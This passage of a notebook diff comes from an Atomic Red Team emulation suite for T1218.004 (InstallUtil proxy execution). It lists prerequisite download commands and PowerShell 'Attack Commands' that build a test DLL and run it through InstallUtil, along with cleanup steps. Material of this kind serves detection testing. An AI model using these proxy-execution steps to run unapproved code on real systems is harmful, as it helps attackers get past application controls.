CheckIfInstallable method call\nExecutes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.\nIf no output is displayed the test executed successfuly.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "eff4fe1a", + "id": "d18f4645", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "3260a02f", + "id": "427078da", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'CheckIfInstallable'\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nCheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'CheckIfInstallable'\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nCheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "dddc0c32", + "id": "ecae4bd5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "29fe1908", + "id": "4d1ee27a", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "49c9acc8", + "id": "120454ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "0cb07b39", + "id": "31cd005e", "metadata": {}, - "source": "### Atomic Test #2 - InstallHelper method call\nExecutes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test\nexecuted successfuly.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #2 - InstallHelper method call\nExecutes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test\nexecuted successfuly.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f6e84395", + "id": "f4b4bbbb", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9371e225", + "id": "34819a2c", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'InstallHelper'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallHelper method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'InstallHelper'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallHelper method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "3d7189cd", + "id": "bc592029", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "88364740", + "id": "893bfc2d", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0bb7a5d2", + "id": "609db4e5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "a4997fe0", + "id": "80c1f41f", "metadata": {}, - "source": "### Atomic Test #3 - InstallUtil class constructor method call\nExecutes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #3 - InstallUtil class constructor method call\nExecutes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "79c06e99", + "id": "2916b23c", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "6fa6960c", + "id": "4ade413f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a997c360", + "id": "76bbd6b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "d6297090", + "id": "cedc9cb2", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0c8fa3df", + "id": "2c552d7d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "66a6c6ac", + "id": "3517531d", "metadata": {}, - "source": "### Atomic Test #4 - InstallUtil Install method call\nExecutes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #4 - InstallUtil Install method call\nExecutes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "0e3db3da", + "id": "cef746b5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "99aef800", + "id": "053f5215", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=install `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Install_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=install `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Install_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "a291fc24", + "id": "c01031c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "0c999037", + "id": "e60e1460", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c4f5f47b", + "id": "1a143746", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "03c2ec5d", + "id": "3428623a", "metadata": {}, - "source": "### Atomic Test #5 - InstallUtil Uninstall method call - /U variant\nExecutes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #5 - InstallUtil Uninstall method call - /U variant\nExecutes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a4bbcc0d", + "id": "e11dd850", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "d919a8a2", + "id": "0beb3b6b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /U `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /U `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "77ecbd6c", + "id": "79af6bed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "591ecb1f", + "id": "8660deff", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "1d9834e4", + "id": "319da2ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "ef37de35", + "id": "25fe161b", "metadata": {}, - "source": "### Atomic Test #6 - InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant\nExecutes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1) -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" + "source": "### Atomic Test #6 - InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant\nExecutes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: InstallUtil test harness script must be installed at specified location (#{test_harness})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6412afe3", + "id": "efc50d4b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 6 -GetPreReqs" }, { "cell_type": "markdown", - "id": "e96e7e64", + "id": "ec1a9730", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" + "```powershell\n# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly\n. \"PathToAtomicsFolder\\T1218.004\\src\\InstallUtilTestHarness.ps1\"\n\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\n\n$CommandLine = \"/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `\"$InstallerAssemblyFullPath`\"\"\n$ExpectedOutput = 'Constructor_Uninstall_'\n\n$TestArgs = @{\n OutputAssemblyDirectory = $InstallerAssemblyDir\n OutputAssemblyFileName = $InstallerAssemblyFileName\n InvocationMethod = 'Executable'\n CommandLine = $CommandLine\n}\n\n$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs\n\nif ($ActualOutput -ne $ExpectedOutput) {\n throw @\"\nInstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.\nExpected: $ExpectedOutput\nActual: $ActualOutput\n\"@\n}\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "c3a56117", + "id": "87bae16f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "cbe57458", + "id": "32941e77", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$InstallerAssemblyDir = \"$Env:TEMP\\\"\n$InstallerAssemblyFileName = \"T1218.004.dll\"\n$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName\nRemove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6fb1cf3c", + "id": "aa8f7ea1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1218.004 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "ad297451", + "id": "8f7669d9", "metadata": {}, - "source": "### Atomic Test #7 - InstallUtil HelpText method call\nExecutes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.\n\n**Supported Platforms:** 